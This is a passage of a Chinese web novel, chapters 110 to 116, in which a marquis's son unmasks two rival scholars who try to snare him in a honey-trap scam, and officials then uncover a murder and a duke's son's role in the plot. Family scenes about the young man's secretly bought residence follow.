他笑着摇头道:“你可看过那些志怪故事?我如今就像是那故事里的书生。”
“什么意思?”
“有个吸人精血的邪祟,已经在前面的路上等着我了。”
“有人要害你!谁的胆子这么大!”孙延年听出了弦外之音,表情霎变,随后怀疑道:“难道是你父亲在朝中得罪了人,对方要报复你父亲?”
“没有那么大的能耐,只是几个小臭虫,嫉妒心作祟罢了。”封砚初轻描淡写。
“难道是京城里谁家的郎君瞧你考的好,要给你颜色瞧瞧?莫不是陈泽文?我记得他应该没有这么下作才是,前两天还说你考的不错来着。”孙延年回忆着这些年与好友不睦之人,可一些人现在连秀才都没考中,还有的甚至不打算科考。
第一百一十章 戏台子已经搭好了
“是我在隆安寺租住之处的两个学子,前两个月,乡试之后我才回去,就有一个姓刘的和一个姓王的,要请我去红乐坊。虽然当时拒绝了,可我瞧着并不安分。”
封砚初此话一出,孙延年觉得那两人是疯魔了,即使武安侯府逐渐落寞,但也不是他们两个可以拿捏的,“这两人莫不是吃错药,或是精神有异?还是说有人指使?”
“嫉贤妒能罢了,这是把京城当地方呢。至于这背后有没有人指使,且看今日。”封砚初态度认真起来,其实他心里也存疑,因为纪闻道无意中发现了,不属于两人财力之内的东西。
“既如此,那我同你走一道,正好去见识一番。只是你千万不要心软,这种小人若治不死,恐有后患!”孙延年提起长枪,神情严肃的叮嘱。
“你放心,即使问不出背后之人,也要他们付出代价!”封砚初拍着好友的肩膀保证,这次他不仅要绝了两人的功名,还有性命!
“如果真有人指使,他们两个便是棋子,当棋子成了弃子,背后之人也不会搭理。”孙延年心中暗暗决定,如果好友真的心软放两人一命,他也要在背后推一把,钉死他们!
“对了,你什么时候搬回来?到时候是回侯府读书,还是留到这儿?”
这话在意料之中,等这件事了结,他必定不会继续留在隆安寺,当时就图清净,最后留在那里,也不过是为了让那两人觉得有机可乘,“自然是搬到这里。”
“那两人的事你没给家里说啊?”孙延年还以为武安侯已经知道了,之所以没出手不过是为了锻炼一下好友。
虽有寒风,然晴空初雪,城外景色宜人。
封砚初与孙延年一起坐在马车里。
“还没到吗?”
封砚初掀起帘子观察着四周,直到瞧见不远处的静枫亭,“快到了。”
“静枫亭?秋日可在此赏一赏灵台寺的枫叶林,只是有人在此行恶,倒是败坏了好地方。”孙延年顺着窗缝也瞧见了静枫亭,这里距离灵台寺不远,还是去灵台寺与隆安寺的必经之地。
“郎君,前面有个娘子好像崴了脚。”暮山的声音按时响起。
“走吧,戏台子已经搭好了,那就瞧瞧去!”孙延年下马车之时,还不忘拿上自己的长枪。
封砚初长叹一句,“真是拙劣。”
孙延年已经下去了,并且看见了那个崴脚的娘子,嘴上调侃着,“这怪的了谁?谁让你成日只知读书,清心寡欲的,对方不下这样的力气,小娘子怎会入你的眼。”
“是挺漂亮的,身边还配了两个丫鬟,看来背后真的有人指使。”封砚初视力极佳,掀帘子一瞧,心中的那个想法愈发确定。
孙延年也点评起来,“若不配个丫鬟,这前后不靠的,一个小娘子出现在此处,只会让人觉得不是正经人,那怎么能引诱到你呢?”话音刚落,又示意,“快瞧,看过来了。”
“嗯,身上应该是云锦阁新到的织锦缎,外头披的是珊瑚红绸斗篷,脚上一双鹿皮靴子,这一身行头怎么着不少于一百两。”封砚初顺便给估了价,那两个人可没有这样阔绰。
孙延年抓住了不一样的信息,挑眉看向好友,“哟呵,你什么时候关注起云锦阁到了什么劳什子布料了?”
封砚初无语道:“是前些日,我姐姐让丫鬟给我送衣服时,顺带提了一嘴。”
李容卿揉了好一阵的脚踝,无论是抬眼的尺度,还是举止投足都是精心设计过的。一个弱女子在此处崴了脚,原本以为对面之人必定要上前问询几句,没想到久久不见开口。
让她疑惑的是面前出现了两位郎君,可到底是哪一个呢?说好的只有一个人啊,她悄悄瞥了一眼旁边临时配的丫鬟。
没想到对方倒是机灵,立即上前几步,朝孙延年与封砚初二人行礼道:“给两位郎君见礼,我家姑娘本来是去灵台寺还愿的,回来的路上车拔了椽子,本想走一段路看是否能遇到好心人稍一段路,可又崴了脚,还请……”
就在此时,孙延年猛地将枪往地上一杵,怒目而视,“这与我们何干?”
那丫鬟气道:“你……你怎么是这样的人,我们姑娘乃是弱女子,你一个大男人碰见也不帮一把?放心,事后必有酬谢!”
封砚初也开口道:“看着确实像个弱女子,可并非良家。”
李容卿按着脚踝,心里暗恨,脸上确是一副梨花带雨,伤心难堪的模样,“这位郎君休要胡言,不想帮忙便罢,何必侮辱于我!”
“嗯,看起来弱小娇柔,若是寻常男子碰见,确实会引起保护之欲,可那是寻常女子,你确定寻常?”封砚初眼神无波,声音也没有一丝温度。
“你胡说什么?”李容卿继续挣扎,她努力思索着自己哪里出了破绽?像这种勋爵家的郎君,对那些普通出身或者下等出身的女子,必定看不起。可她身上的衣裳华贵,明显是富贵人家的姑娘,如此才会引起对方的注意和敬重。
“你说车拔了椽子,那车夫呢?难不成留在原地看车,反而让你一个姑娘带着两个丫鬟前行?此处距离灵台寺并不远,与其在这里等着过路的马车,还不如返回灵台寺更安全便捷。更何况以你这身打扮,想必家中富贵,怎么出行只带这么几个人?随行的乳母,跟车的婆子和小厮呢?要装也装的像一些!”
要是穿越之前的封砚初根本注意不到这些,只有经历过富贵,受过规矩教导后,才能轻而易举看穿破绽,“还要我继续说吗?”
孙延年有些不耐烦,指着眼前之人道:“跟她废什么话?直接送去京兆府,让覃远好好审一审!”
封砚初点头,挥手示意拿人,对于这样的人自然不用脏了自己的手。背后之人还真是好算计,覃远虽然铁面从不徇私,可明年就要调离京兆府,升任户部侍郎。若自己真的上当,明年正是好时机!
第一百一十一章 顺便去看看热闹
假与真,真正的区别就是,真的听见这话必定会自报家门证明自己,且镇定自若;假的则是犹如眼前之人。
李容卿听后顿时急了,若真的被抓去官府一查,她之前的那些伪装根本经不起调查,“你……你胡说什么!我就是良家女子,家住城东竹巷,家中姓李!”
“城东?你家是商户?做什么营生?”不怪孙延年这般猜测,东富西贵,南贫北贱,城东确实住着很多商户。
“我家才搬来京城,之前是做珍珠生意的。”李容卿又辩解着。
没过一会儿,就瞧见不远处有一队人马过来。原来封砚初从暮山那里确定之后,就让人报了京兆府,此时衙门里的人已经到了。
他与孙延年上前见礼,“见过覃大人!”
覃远目光似铁,锐利的打量着眼前的女子,“就是她?”
封砚初上前道:“正是此人,在下疑心他们是一伙专门使仙人跳的骗子,之前做局害了多少人还未可知。”
覃远抓住了一个词,“一伙?那就是说还有同党?”
就在这时,冯四已经从隆安寺赶来,将一包东西转交,拱手道:“郎君,这是从刘、王二人房中搜出来的信件和物品,二人已经被其余学子制服住了。”
封砚初将东西交给覃远,“覃大人请看。”
覃远接过去大致一瞧,“点翠海棠金钗,白玉古琴砚,翡翠竹纹砚,紫玉莲叶端砚,都是价值不菲之物!尤其这个白玉古琴砚,我记得这是房家之物,当年房家祖上的房远修与太宗皇帝有同窗之义,后来房远修因盐税案办得漂亮,太宗皇帝便赏下此砚,此物乃是御赐,房家人就是再糊涂也不可能轻易送人,果然有问题!”
这就是信息差,普通人不知道此砚的来历,可京城中这些当官的,以及勋贵人家,哪一个不是人精,自然一眼瞧出。
封砚初也是听纪闻道说起对方有这不符合财力的物件,便疑心这两人可能还施展旁的手段,等两人出门后,便让人潜进去查看,更是发现了这样了不得的物件。
“覃大人所言甚是,我观此二人并非巨富之人,还租住在隆安寺,却频频出入风月之所,那这些财帛何处所得?”封砚初趁势又是一击。
这二人将旁人都当成傻子,以为隐瞒的很好,可众人眼神雪亮,偶尔去几次消遣也理解。可既然有这财力频频出入红乐坊,怎的不见换个地方住?
覃远心中愈发重视起来,拱手致谢,“多谢封二郎君告知。”随后朝众人挥手道:“将这三人缉拿,暂押京兆府大牢,其余人跟我去隆安寺拿人!”
京兆府的人风风火火,没一会儿就离开了,孙延年竟然还有些失望,“二郎,这就走了?那我来又有什么用处?岂不白来了?”
封砚初笑道:“怎能让你白来,随我去隆安寺……”
“看热闹?”孙延年瞪大双眼,凑上前十分感兴趣道。
“搬东西!”封砚初故意顿了顿又道:“顺便去看看热闹。”
等一行人到隆安寺之时,刘、王二人已经被京兆府的人拿了,纪闻道在一旁拍着胸口直呼庆幸,“你们说说,我没被这两人害死还真是幸运!”
元康也跟着频频点头,“可不是,我记得之前这俩人总拉着你,更何况你们还住的这么近!”
隆安寺的寺监慧远则愁眉苦脸。眼看着明年举子就要赴京赶考,竟然在寺里发生了这样的事,若是被宣扬出去,众人只怕觉得不吉,封郎君如今也要搬走,这如何租的出去!难道还要降租不成?
谢鹤川则是在一旁咒骂这两人,因这两人之过,封砚初眼见要搬走,那他以后还如何继续套近乎,岂不是白白浪费了机会,“恶贼!蝇营狗苟之辈!真是污糟了佛寺清净之地!你辈怎配称读书人!”
慧远见有人说句公道话,跟声道:“阿弥陀佛,贫僧好心将空屋便宜租给你们,你们怎能做出此等腌臜之事!还请大人严惩啊!”
刘举人恰好瞥见封砚初,气的想上去咬人,目光不善,可又不得不按耐,“覃大人,在下冤枉啊,是封砚初,是他陷害于我!是他仗着出身不俗,平日里就瞧不起我等。”
王举人也道:“是啊,大人,是封砚初心胸狭隘,我不过说了几句,他就连身边的下人都是门缝里瞧人,必定是言语中惹了对方不快,这才使计陷害我等!”
孙延年气的正欲开口斥责,却让谢鹤川抓住了机会,抢先开口,“胡说八道!封二郎虽出身富贵,可素日里平易待人,对我等时有帮扶,更何况往日大家也都一起谈书习文,最是和睦不过。”
纪闻道也说道:“就是,封二郎君乃是真心来此苦读的,否则以他家情形怎会租住在此处?他在侯府读书环境岂不是更好?”
封砚初见状上前行礼道:“在下多谢诸位仗义执言,本想在此待到明年春闱的,只是发生了刘、王二人之事,实在没心思在此读书,今日便要搬回去了,临行之前在五味楼设宴,还请诸位赏光。”
京兆府的人速度很快,将刘、王两人的房间贴上封条留人看守之后,其余人呼啦啦都离开了。
郑伟早就将一应物件收拾好了,跟在暮山身后出了隆安寺,他以为今日就要回侯府的。而封砚初与孙延年两人一起去了五味楼宴客。
孙延年很清楚,好友虽说着是去宴请诸位学子,可实际情况也是拉着他认识认识,若这些人有几个进入官场,那也是将来可能会用到的人脉。
第一百一十二章 将自己撇的一干二净
郑伟跟着暮山一路前行,可越走越不对劲,心里顿时升起不好的念头,难道暮山要私吞郎君的东西?当他们这些人都是死的不成!
随后又看了看对方腰间的长剑,吞了吞口水,但还是问出了口,“暮山,你这是要去哪?难道你背叛了郎君?你要知道,你能有今天是侯府栽培的,是郎君当年选中了你,否则你回庄子上去吧!”
暮山本来不想搭理,可郑伟越说越离谱,其他的小厮明显眼神不善,有的眼神已经在左右寻摸趁手的工具。
他长舒一口气,看着郑伟略带惊恐的眼神,正欲开口,没想到对方说道:“难道你还想动手不成?这是京城,你别以为你能逃得了!”
“胡说什么!咱们不回侯府,去广林巷!郎君在那里买了一处宅院!”
郑伟明显松了一口气,脸上带着尴尬的笑:“那啥,你也不提前说,害我担心了好久。”随后放大声音,“再说了,你一路沉默不语,我还以为你想在僻静之处谋了我们的命,好拉着郎君的东西逃走!”
暮山懒得与对方废话,鼻子里发出一声冷哼,真是不动脑子,想一出是一出!
马车驶到‘枕松闲居’门前,他未来得及说话,郑伟就眼泪巴巴道:“郎君真是太可怜了,堂堂侯府公子,就住在这里。”
气的暮山一脚踹到对方腿上,骂道:“还不赶紧收声!”随后警告其余人,“你们若是将此处泄露给府里,郎君到时候生气,怎么罚你们,想必不用我提醒。”
众人立即点头保证:“我们必定不会说出去。”
进了院子后,暮山指着其中一间,那是药房的位置,“那里没有郎君的命令,禁止进入!”
自从郑伟去了隆安寺到现在承受了许多,先是发现郎君会武,紧接着今日才知道郎君私下里买了一个院子,震惊的同时又有些小小的嫉妒,觉得郎君比起他,更相信暮山和冯四,那两人能和他比吗?
他可是与郎君自幼一起长大,从懂事起就给郎君做小厮,跟在郎君身后,可郎君却没对他说,难道他还会泄密不成?
暮山对这里很熟悉,他将带回来的所有东西,全部归类放好。然后就是分配房间,他指着门房附近,其中一间屋子道:“这间是你们的。”
等封砚初回来之后,所有的东西全部归置妥当,屋内也被烧的暖烘烘的,他重新打量了一下陈设,随后忍不住点头,这才像个屋子,以前还是显得空了些。
不过,自从住到这里之后,孙延年就成了常客,都不用人招呼,直接进屋四处打量,点点头道:“嗯,现在才像个样子,郑伟到底是从小跟着你,我方才瞧见正给你这‘枕松闲居’置办添东西呢。”
然后指着桌上早就沏好的茶和摆放的点心,“暮山到底是护卫,以前哪有这么周到,别说点心了,就连茶水有时候都要自己沏。”
封砚初也觉得自从郑伟在这里之后,确实好些事情不用操心,认可道:“他啊,前两日还同我诉委屈,说我不信任他,我那是不信任他吗?我那是担心他一个不留神,被李妈妈瞧出来。”
李妈妈与姨娘关系十分要好,两人时常在一起说话,所以姨娘必定就知道了;而关于自己的事情,姨娘从来不会瞒着大娘子,到时候大娘子也会告诉给父亲,那不是完了。
信国公府。
信国公脸色难堪,今日下朝的路上,他直接被覃远拦住问了几句话,他这才知道这段时间发生了什么事,盯着儿子问道:“近日可有事情发生?”
信国公世子心里咯噔一下,他自然知道发生了何事,只是他将自己撇的一干二净,“最近府中太平,并无事情发生。”
“你可要想清楚再说!”
信国公世子继续摇头,“确实没有。”
信国公气的猛拍桌子,“还敢扯谎!若非今日下朝的路上,覃远将我拦住,我还不知道你做了这样的蠢事!覃远是谁,不用我说了吧!”
信国公世子避重就轻道:“儿子确实不知,不过是资助了父亲的两个学生罢了,实在是在外头无意中碰见的,儿子也担心外头传出闲话,并未往家里带。”
“你如此就能撇开自己了!幸好没往家里带!具体怎么回事,细细说来,不许隐瞒!”
其实刘、王二人与信国公并无太大的干系,不过是几年前被派去主持地方乡试,凑巧成了座师,这样的人信国公根本不会看在眼里。只是此二人喜钻营,打听到信国公世子常出入的地方,特意去等候结识。
“那两人上次春闱之前就来拜访您,咱家可是国公府邸,岂是什么人都能进来的,最后未能得中便留在京城。儿子也是意外碰见,本不想搭理,可无意中得知他们住在隆安寺。”
“自从上次封砚初那小子逼得您不得不妥协,儿子就上了心,若将来长成继续与咱家为难可了得,便暗示这二人使些手段。儿子知道轻重,万不敢要了对方的性命,只是想让他参加不了明年的春闱即可,为此还搭上了四百多两和杨氏的几件首饰。”
信国公对儿子十分无语,不过是一个小辈罢了,哪里值得这样费心,就是将来进了官场,多的是办法收拾他!
“你可真是丢人!你以为那两个是什么好人不成!封砚初早就察觉他们心怀不轨,早早就让人盯着,甚至亲自做饵,抓住破绽一举告到京兆府,他连手都没脏,就借着覃远收拾了那两个蠢货!”
信国公气的不行,又踹了儿子两脚,“你这么大年纪的人,成日无所事事也就罢了,竟还学起算计人了,你有那个本事吗?”
虽生气,但也不得不将刘、王二人所犯之事说了,“此二人与房家的后人房思源路上结识,一同进京赶考,半道上房思源不小心漏了财,便起了歹心谋了人命!进京之后又引诱两名考生或赌,或混迹秦楼楚馆,别说会试,就连所有身家也都没了!”
“竟然还勾结贼盗,想以仙人跳的骗术诬陷封砚初?人家早就看穿了!今日覃远还特意在半路上向我致谢,说什么让他顺藤摸瓜,抓获一伙贼人!还破了房思源被害一案!”
第一百一十三章 我不想看见你
其实信国公世子早就知道失败了,一直不敢说,只骗自己并无此事,“父亲,那怎么办?”
信国公看了一眼不争气的儿子,“什么怎么办?废物!这事与你何干?你不过是看两人可怜,资助贫苦学子罢了,只是这二人实在可恶欺骗与你!记住,你也是被欺骗了!”
“可……可万一那两人说是我暗示的呢?”信国公世子依旧不放心。
“那又如何?不过是胡言乱语的攀扯罢了!更何况他们还有家人,知道什么该说,什么不该说!”信国公越瞅越生气,不耐烦的挥手道:“滚滚滚!我不想看见你!”
信国公世子见事情解决,也不恼父亲的态度,高高兴兴的离开了。
只是空气中留下了一句,“唉,若我徐家有封砚初这样的后辈该多好啊!”
下朝后的封简宁回府之后,脸色就没好起来,就连老太太都来问,只是他怕吓着才没说实话。
“娘子,你最近可有派人去隆安寺探望二郎?”
大娘子摇头道:“还没呢,不过前几日,二郎身边的暮山回来了一趟,还带了些书回去,是发生了什么事吗?”
封简宁脸色铁青,忍了好久终究还是没忍住,“我瞧这孩子的胆子愈发大的没边了!若不是今日下朝后,碰见了京兆府的覃远,我还不知道隆安寺有人要害他!”
“什么!”大娘子惊地‘嗖’一下站起身,抓着封简宁问道:“那二郎如何了?”
封简宁拍了拍大娘子的胳膊安慰道:“所幸他还算机灵,提前识破了诡计,对方并未得逞!只是这臭小子事后竟然还让覃大人别告知家里,说什么他要静心读书!”
大娘子听二郎无事,这才重新坐下,建议道:“要我看距离明年春闱也没多久了,那隆安寺不仅清苦,还是个是非之地,不如让他回来读书,里里外外有人伺候着,不比那隆安寺强?”
“我也是这个意思,明日派人去一趟隆安寺。”封简宁担心儿子在会试之前再有个别的意外。
“好,明日先将人接回来,至于东西就让人后头慢慢收拾。”大娘子已经打定主意了,无论如何,最重要的是人先回来。
“嗯,你看着办,不过要仔细那些书,他可是很宝贝的。”封简宁已经决定好了,明日儿子回来后必定要给他紧紧弦。
次日,原本去隆安寺的下人着急忙慌的回来了,白管家看见这一幕十分不悦,斥责道:“瞧瞧你们成什么样子!还有半点规矩吗!”
为首之人吓得都快哭了,“白管家,不……不好了!二郎君,二郎君不见了!”
白管家听完禀报后,也是吓得赶紧去禀报大娘子,边跑还边喊,“我的天爷呀!这可是大祸事啊!”
大娘子正在处理今日的事情,突然听见门外一阵嘈杂,“半夏,出去看看怎么回事?”
没想到去而复返的半夏惊恐异常的跑进来,“娘子!不好了!出大事了!白管家正在外头。”
当白管家气喘吁吁的进来,将事情的经过完完本本的说了一遍之后,大娘子声音拔高了好几个度,“什么叫人不见了!”
“问了周围的学子,二郎君二十天之前就已经离开了隆安寺,当时对众人说要回来读书,临行前还办了告别宴,东西是郑伟他们收拾的,早就拉走了!”
“人没事就好,估计是去了别处,没给家里说。”说到这里,大娘子气地骂道:“这个臭小子!我还当他长大稳重了,没想到还是这般淘气!”
白管家问道:“大娘子,现在可怎么办?”
大娘子略作思索道:“隆安寺发生了那样的事,二郎必定在京城租了别的地方,搬进去静心读书,只是他千不该万不该,不该瞒着家里。”
过了一小会儿,继续说道:“他与孙延年关系最好,没准这孩子还真知道人在哪,你亲自去一趟安南将军府打听打听,若今日能将人找到,此事就先瞒着侯爷。”
“是。”白管家得了吩咐,又匆匆忙忙的走了。
半夏一边为大娘子揉着额头,一边劝解,“娘子,您也别担心,二郎君虽然淘气,可也是知轻重的,更何况近几年也稳重不少。”
“我是担心这孩子还有什么事情瞒着家里,别看二郎平日里对谁都和和气气的,其实主意大着呢。”大娘子猛然间又想到什么,“你说,敏儿知不知道?”
半夏手里的动作减慢几分,随后摇头道:“应该不会,姑娘要是知道的话,怎么可能瞒着您呢?”
“那可未必。”大娘子想到了二郎带给敏儿的那两盒‘胭脂’,当时敏儿可是什么都没说,还是自己逼问钱妈妈,否则是不可能吐露实情的,“他们姐弟感情好,敏儿很多事也是瞒着我这个做母亲的。”
而在‘枕松闲居’的封砚初还不知道侯府发生了何事,他现在读的正入神呢。
只见孙延年从外头匆匆忙忙进来,“二郎!二郎!你家里的人找去隆安寺了,方才还去我家里问你的下落呢!”
封砚初放下手中的书,无奈道:“这覃大人的嘴真不严,我还特意上门去拜访,专门叮嘱过。”他知道瞒不了多久了,只是现在比预想的提前了一些,按照心里的想法,应该是明年春闱之后,他亲自给家里说的。
“哎呀,你就别纠结了!要我说,没准这覃大人是故意的。而且我已经将你的住处告诉给你家里人了,还说是你买的!你也别怪我不帮你保密,已经到了这个地步,我觉得全盘托出是对你最好的选择!”
孙延年拍了拍好友的肩膀,看了看外头,“我这是提前通知你,估计你家里人一会儿就到,你自己解释吧!”
果然一阵敲门声响起,孙延年只留下一句,“你看着办。”就跳墙溜了。
“你可真是我的好友!”说罢,封砚初起身整理了衣裳,准备亲自前去开门。
第一百一十四章 你就住在这里啊
封砚初将门打开,果然是大娘子一行人,他连忙上前行礼,“母亲。”
大娘子看着他冷哼一声,随后一边往里走,一边四处张望,“你就住在这里啊!”
他低着头,亦步亦趋地跟在身后,“是。”
“是你自己买的?”
“对,攒钱买的。”
大娘子斜眼看去,又是一声冷哼,“你若是不想在家里住,又不想你父亲知道在外头买宅子,可以跟我说,我好歹帮你添些,也能买的大些的。”
“此处我一人独住,也够用了,实在用不着买太大的。”
“你一人独住?”说话间,大娘子已经进了屋内,扫视着陈设,“虽说还算雅致,只是都不是好木头,若是让客人瞧见,岂不丢了你侯府公子的脸面。”
封砚初赶紧亲自奉茶,略带讨好道:“儿子住在此处也只是为了能清净读书,哪里会有客人上门。”
大娘子早就看见架子上摆着的长枪,并未疑心二郎,反而当成是孙延年的,“没有客人?那是什么?孙延年都快在这里常住了吧?”
她顺势接过茶,浅饮一口,很熟悉,这还是前些日子她让暮山从家里带的,心里的气也消散了几分,“要我说你胆子大的没边了!隆安寺发生那样大的事情,你竟然连一句话都没有,要不是你父亲下朝碰见覃大人,都不知道有人谋害你!”
“儿子是不想家里担心,也是想着自己能处理。”封砚初忍不住为自己辩解。
“那能一样吗?家里知道你自己处置,和家里不知道你自己处置,这是两码事!若……若有个万一,那可是玩的?”大娘子很少对封砚初动手,这次实在忍不住,朝着对方的身上捶了两下。
“儿子知错了!母亲别生气。”封砚初见大娘子生气,赶紧认错。
大娘子拿起桌上的点心,闻了闻,摇头道:“哼!这放了有两日了吧!”
随后起身出了屋子,四处逛着,又是一番点评,“你既要住在这里也可,只是也太简陋了些。郑伟,暮山他们都是男的,回头来几个人过来服侍,还得有个灶上的,否则你每日吃饭还要去外头买,随时想吃什么也不便利。”
“那孙延年虽是你的好友,但也是客人,一应得是全的。今冬也就罢了,到明年,我再派人将你这里修葺一番,起码也像个样子,没得让别人以为咱们武安侯府的二郎要清修。”
封砚初一路赔笑,时时回应,“母亲说的是。”
“还是母亲想的周到。”
大娘子指点了一番之后,才道:“我还没给你父亲说,不过,今日你得先回去,他晚上要见你。这两日也暂时别过来了,我派人给你这里添些东西,回头住的也舒坦些。”
“是,母亲。”
大娘子又宽慰道:“你也别担心,回头我给你父亲好好说说,让你依旧住在这里读书。”
“多谢母亲。”封砚初赶紧道谢。
大娘子这才满意,带着一群人呼啦啦的就要走,走到一半,转头奇怪道:“你现在就随我一起回去,还不跟上。”
“啊,现在吗?儿子想收拾些东西。”封砚初想将东西归置妥当,然后叮嘱一下暮山再回去。
“有什么好收拾的,家里又不是没有!”大娘子总觉得二郎神神秘秘的想要隐藏些什么,但她并不打算刨根问底,“你快点,我在马车上等你。”
封砚初只得匆忙嘱咐了暮山,跟着大娘子回武安侯府。
隆安寺的事情并未刻意隐瞒,所以不到一日的时间,该知道的人都知道了。
当封砚初才进屋坐下,姨娘就挂着眼泪进来了,“二郎,发生这样的事,你怎么不同你父亲说,若你有个好歹,让我怎么活啊!”
他赶紧将姨娘扶的坐下,安抚道:“我这不是没事吗?再说他们还不敢要我的命,只是不想我明年顺利参加春闱罢了。”
“我都听说了,那两个可是杀过人的恶徒!什么狠辣的手段使不出来?”
“我身边还有暮山呢,不会有事的。”
好一番劝慰,才将姨娘哄走。屁股还没坐稳,大郎封砚开,三郎封砚池,四郎封砚安,堂兄封砚明,以及二妹封砚婉,三妹封砚潼全来了。
“二弟,你糊涂啊,既然早就预料到怎么不给家里说,任何事都比不上你会试重要!”这是大郎不赞同的话。
三郎却很兴奋,“二哥,我都听说了,你真厉害,不仅提前识破,还回头给京兆府举报。不过你也太不够意思了,这事怎么不叫上我。”
四郎担心道:“还是太危险了。”
二妹双眼放光,回怼道:“有什么可危险的!要是我,必定将那二人痛打一顿!看他们还敢使坏!”
堂兄封砚明庆幸道:“幸亏我没去,我可没有二郎的本事。当初我父亲还羡慕来着,也想将我送去隆安寺,还是我母亲强烈反对才没去成。”
直到众人七嘴八舌的说完之后,封砚初这才道:“其实他们也不敢太过分,只是不想我参加会试罢了,再说我身边还有暮山在,不会有事的。”
大郎气道:“这还不重要!若是明年参加不了,那就得三年后!”
“大哥稍安勿躁,也是那两人品性不佳,亦有旁人深受其扰,那人可是帮了我不少忙。”封砚初说到此处,看向其余人,“你们且先回去,我与大哥说几句话。”
直到等人都离开之后,封砚初这才说道:“他们启初是想引我去红乐坊,眼见失败,又勾结贼人使美人计,想以骗术困住我,即使事后洗清冤屈也会耽搁明年的会试,他们的目的也就达到了。”
“竟如此恶毒,明年覃大人就要调离京兆府,还不知换谁上来,若你没有提前发现,必定会有拖延。”即使大郎这样的谦谦君子,也是气的捶桌子。
封砚初继续说道:“他们也不是第一次这么干了,比邻而居的纪闻道瞧见两人有贵重物品,实在不是他们能承担得起的,我随后又让暮山偷偷查看,果然发现一方白玉古琴砚。”
大郎一听这个名字,立即道:“白玉古琴砚!那可是太宗皇帝当年赏给房家的御赐之物,如何能到他们手里,莫不是……”
“是啊,御赐之物,房家如何敢转赠,必定不是正路上来的,可无论怎么得来的,盗取御赐之物那可是死罪!”封砚初如何不气恼,不过此时早已平静。
第一百一十五章 这是准备分府另过了
“之后在覃大人的追查之下得知,两人手上竟有命案,还伙同赌坊之人与红乐坊的云歌,将进京赶考学子身上的钱财哄骗一空,连会试都没参加便惨淡归乡,已经判了斩立决。”封砚初将最后的结果一气全说了。
封砚开听后也是感慨不已,又疑心道:“真是败类,背后可有人指使?否则他们就是蠢笨如猪,也不会对侯府公子出手,你可知道?”
封砚初嘴角浮出浅笑,“大概知道。”
“是谁?”封砚开没想到二郎竟然知道,立即问。
“暂时不急,以后再说。”他依旧很淡定。
封砚开却听出来了,“那人颇有身份和权势?是咱家比不了的!罢了,一会儿父亲必定会问你,你自己想好怎么说就行。”
临近年底是吏部最忙的时候,封简宁回来之时天色已经完全黑了下来。
书房。
他盯着儿子反问道:“二郎,你可有什么想对我说的?”
封砚初自知父亲必定已知全貌,将起因经过结果,一股脑全说了。
封简宁没想到都这会了,还瞒着宅子的事情,言语中难免带了些讽刺的味道:“就这些了?我怎么听你母亲说,你在广林巷买了一个宅子,怎么?这是准备分府另过了?”
他心中长叹,母亲啊,您的嘴怎么这么快啊,“儿子不敢,只是想着那里清净,读书也方便。”
“哼,亏得你母亲给你求情,那孙延年都快住到那了,可你将家里瞒得死死地!”封简宁指着儿子骂道:“御下倒是好手段,无论是冯四还是暮山,谁都没往外漏。而你竟在七年前,就以冯四的名义买了那处宅子,我说你怎么非要留下冯四,感情在这等着呢!封二郎君可真够有钱的啊?”说到最后,竟有些阴阳怪气的意思。
“您都知道了?”封砚初心里默默吐槽,父亲怎么这么快就知道了。
“当时,覃远就露出口风,说什么既然回家了,就让你好好在家读书,不要责怪于你!昨晚我便有心试一试,但让我没想到的是,就连你母亲也试图帮你隐瞒!”在封简宁心里,娘子一向偏大郎一些,可从方才来看心里更偏心二郎。
封砚初此时才明白,原来误会了。就说么,母亲明明亲口承诺帮他隐瞒几日,然后再求情的。
他见状,郑重道:“父亲,我知道儿子不应该隐瞒您,但是儿子长大了,有些事可以自己去处理,若真有办不到的,自然会求助家里。”
封简宁长叹一声,颇为感慨,“罢了,听你母亲说这几日要先拾掇你那宅子,你且先在家里几日,之后再去吧!”
封砚初没想到父亲竟然答应了,拱手激动道:“谢父亲!”
“唉,去吧!”
原本以为会是一场狂风暴雨,可事到临头竟然这般轻易就放过他,还同意他继续留在那里读书,可谓是意外之喜!
封简宁看着儿子离去的背影,“长大了啊!长大了!还和以前一样胆大淘气,只是藏的更深了。”
之后自然瞒不住,毕竟大娘子已经着人去广林巷布置,所以众人都知道二郎君在府外买了一处宅子。
当封砚初再次回到‘枕松闲居’之时,里头已经大变样了。除了药房无人敢动之外,几乎所有的房间里都有改变。若以前像是修士的清修之所,如今也多了些生活的气息。
李妈妈里里外外都逛了一圈,点头赞道:“小是小了些,不过确实清净,是个读书的好地方,侯府就是人太多了,显得嘈杂。”
大娘子也点头道:“嗯,如此也算是能看了,我让白管家问了,隔壁有一院五六间的宅子,已经买下来了,现在你读书要紧,等明年春闱后,我就让人将两处打通,重新修缮一番,就能住人了。”
封砚初正要拒绝,他觉得如此就很好。本来大娘子想给这里多配些人手,还是他极力拒绝,除了厨娘之外,只来了包括李妈妈之内的三个人。
大娘子瞪了过去,“不许拒绝,那也是你父亲的意思。”
封砚初只得点头称是,原本兄弟姐妹几人也想来看一看的,让他以读书的名义拒绝了,心里轻叹,唉,看来清净的日子逐渐远去矣。
不过,他必须承认的是,自从李妈妈她们来了之后,他的生活水平直线上升,真真应了那句,饭来张口,衣来伸手。
有好几次,李妈妈指着药房的那间屋子,好奇的问:“那一间是做什么的?怎么总锁着。”
郑伟也不清楚,但他从暮山和冯四严肃的神情中可以看出很重要,现在见他娘在问,郑重道:“娘,你别瞎打听,那间屋子郎君从来不许任何人靠近!”又担心她娘好奇心太重被郎君责备,“所以你要时时留意着,看有没有人私自靠近!”
李妈妈果然收起好奇之心,严肃道:“放心,我必定盯得死死地,胆敢有人靠近,看我不告诉二郎,让二郎好好治一治!”
郑伟松了口气,竖起大拇指,“好样的,就得这么干!”
雪香重新沏了一盏茶,并厨房做的一些点心端进来,轻轻放到桌子上,自顾自道:“郎君,李妈妈很好奇那间上锁的屋子,打听了有好几次,不过我方才瞧着郑伟已经劝住了,还让李妈妈帮忙留意有没有其他人靠近。”
封砚初端起茶饮了一口,眼睛并未从书上离开,只是轻轻“嗯”了一声。
而雪香说完这话,便下去了,全程并未多言。
旁人都以为雪香是二等丫鬟,年岁又小,很少有人注意到她。可封砚初有时候也需要知道下人之间有什么情况,所以雪香就起到了耳报神的角色,就连李妈妈和碧芳这种近身侍奉之人也不知道。
第一百一十六章 得看有没有这个本事
时间如梭,年后冰雪未消之际,就已经有举子陆陆续续的进京了,使得京城的客栈,民舍异常火热,就连隆安寺也来了不少人前来租房。
只是刘、王二人之事终究还是传扬出去了,所有人都嫌那两间屋子不吉利,住在里头的人品德败坏,所以一直空着,直到最后也没能租出去。
